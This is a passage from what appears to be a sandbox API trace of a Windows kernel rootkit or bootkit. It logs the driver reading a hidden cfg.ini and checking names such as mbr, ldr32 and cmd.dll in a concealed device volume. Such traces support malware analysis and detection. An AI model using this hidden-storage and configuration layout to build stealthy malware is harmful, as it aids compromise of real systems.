(_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.802] KeLeaveCriticalRegion () [0129.802] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.802] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.802] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.802] KeEnterCriticalRegion () [0129.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.802] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.802] IdePortDispatch () returned 0x103 [0129.802] KeWaitForMutexObject () returned 0x0 [0129.802] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.802] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.802] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.802] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.802] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.802] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.802] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.802] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.802] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.802] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.802] KeLeaveCriticalRegion () [0129.802] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.802] ReleaseMutex (hMutex=0x100) returned 1 [0129.802] Sleep (dwMilliseconds=0x2bf20) [0129.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70912930, dwHighDateTime=0x1d24fa4)) [0129.810] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.810] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.810] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.810] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.810] KeEnterCriticalRegion () [0129.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.810] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.810] IdePortDispatch () returned 0x103 [0129.811] KeWaitForMutexObject () returned 0x0 [0129.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.811] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.811] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.811] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.811] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.811] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07820 [0129.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.811] KeLeaveCriticalRegion () [0129.811] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.811] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.811] KeEnterCriticalRegion () [0129.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.811] KeLeaveCriticalRegion () [0129.811] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.811] KeEnterCriticalRegion () [0129.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.811] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.811] IdePortDispatch () returned 0x103 [0129.811] KeWaitForMutexObject () returned 0x0 [0129.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.811] KeLeaveCriticalRegion () [0129.811] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.811] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.812] KeEnterCriticalRegion () [0129.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb3000 [0129.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.812] IdePortDispatch () returned 0x103 [0129.812] KeWaitForMutexObject () returned 0x0 [0129.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.812] IdePortDispatch () returned 0x103 [0129.812] KeWaitForMutexObject () returned 0x0 [0129.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.812] KeLeaveCriticalRegion () [0129.812] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.813] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.813] KeEnterCriticalRegion () [0129.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.813] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.813] KeLeaveCriticalRegion () [0129.813] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.813] KeEnterCriticalRegion () [0129.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.813] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.813] KeLeaveCriticalRegion () [0129.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.813] KeEnterCriticalRegion () [0129.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.813] ExFreePoolWithTag (P=0xfffffa8003c07820, Tag=0x0) [0129.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.813] KeLeaveCriticalRegion () [0129.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.813] ReleaseMutex (hMutex=0xf0) returned 1 [0129.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.813] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.813] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.813] KeEnterCriticalRegion () [0129.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.813] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.813] IdePortDispatch () returned 0x103 [0129.813] KeWaitForMutexObject () returned 0x0 [0129.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.814] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.814] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.814] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.814] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.814] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07dc0 [0129.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.814] KeLeaveCriticalRegion () [0129.814] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.814] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.814] KeEnterCriticalRegion () [0129.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.814] KeLeaveCriticalRegion () [0129.814] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.814] KeEnterCriticalRegion () [0129.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.814] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.814] IdePortDispatch () returned 0x103 [0129.814] KeWaitForMutexObject () returned 0x0 [0129.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.814] KeLeaveCriticalRegion () [0129.814] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.814] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.814] KeEnterCriticalRegion () [0129.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.814] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb4000 [0129.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.815] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.815] IdePortDispatch () returned 0x103 [0129.815] KeWaitForMutexObject () returned 0x0 [0129.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.815] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.815] IdePortDispatch () returned 0x103 [0129.815] KeWaitForMutexObject () returned 0x0 [0129.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.815] KeLeaveCriticalRegion () [0129.815] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.816] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.816] KeEnterCriticalRegion () [0129.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.816] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.816] KeLeaveCriticalRegion () [0129.816] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.816] KeEnterCriticalRegion () [0129.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.816] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.816] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.816] KeLeaveCriticalRegion () [0129.816] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.816] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.816] KeEnterCriticalRegion () [0129.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.816] ExFreePoolWithTag (P=0xfffffa8003c07dc0, Tag=0x0) [0129.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.816] KeLeaveCriticalRegion () [0129.816] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.816] ReleaseMutex (hMutex=0xf0) returned 1 [0129.816] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.816] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.816] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.816] KeEnterCriticalRegion () [0129.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.817] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.817] IdePortDispatch () returned 0x103 [0129.817] KeWaitForMutexObject () returned 0x0 [0129.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.817] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.817] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.817] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.817] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.817] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c043e0 [0129.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.817] KeLeaveCriticalRegion () [0129.817] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.817] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.817] KeEnterCriticalRegion () [0129.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.817] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.817] KeLeaveCriticalRegion () [0129.817] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.817] KeEnterCriticalRegion () [0129.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.817] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.817] IdePortDispatch () returned 0x103 [0129.817] KeWaitForMutexObject () returned 0x0 [0129.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.817] KeLeaveCriticalRegion () [0129.818] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.818] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.818] KeEnterCriticalRegion () [0129.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb5000 [0129.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.818] IdePortDispatch () returned 0x103 [0129.818] KeWaitForMutexObject () returned 0x0 [0129.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.818] IdePortDispatch () returned 0x103 [0129.818] KeWaitForMutexObject () returned 0x0 [0129.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.818] KeLeaveCriticalRegion () [0129.818] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.819] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.819] KeEnterCriticalRegion () [0129.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.819] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.819] KeLeaveCriticalRegion () [0129.819] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.819] KeEnterCriticalRegion () [0129.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.819] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.819] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e 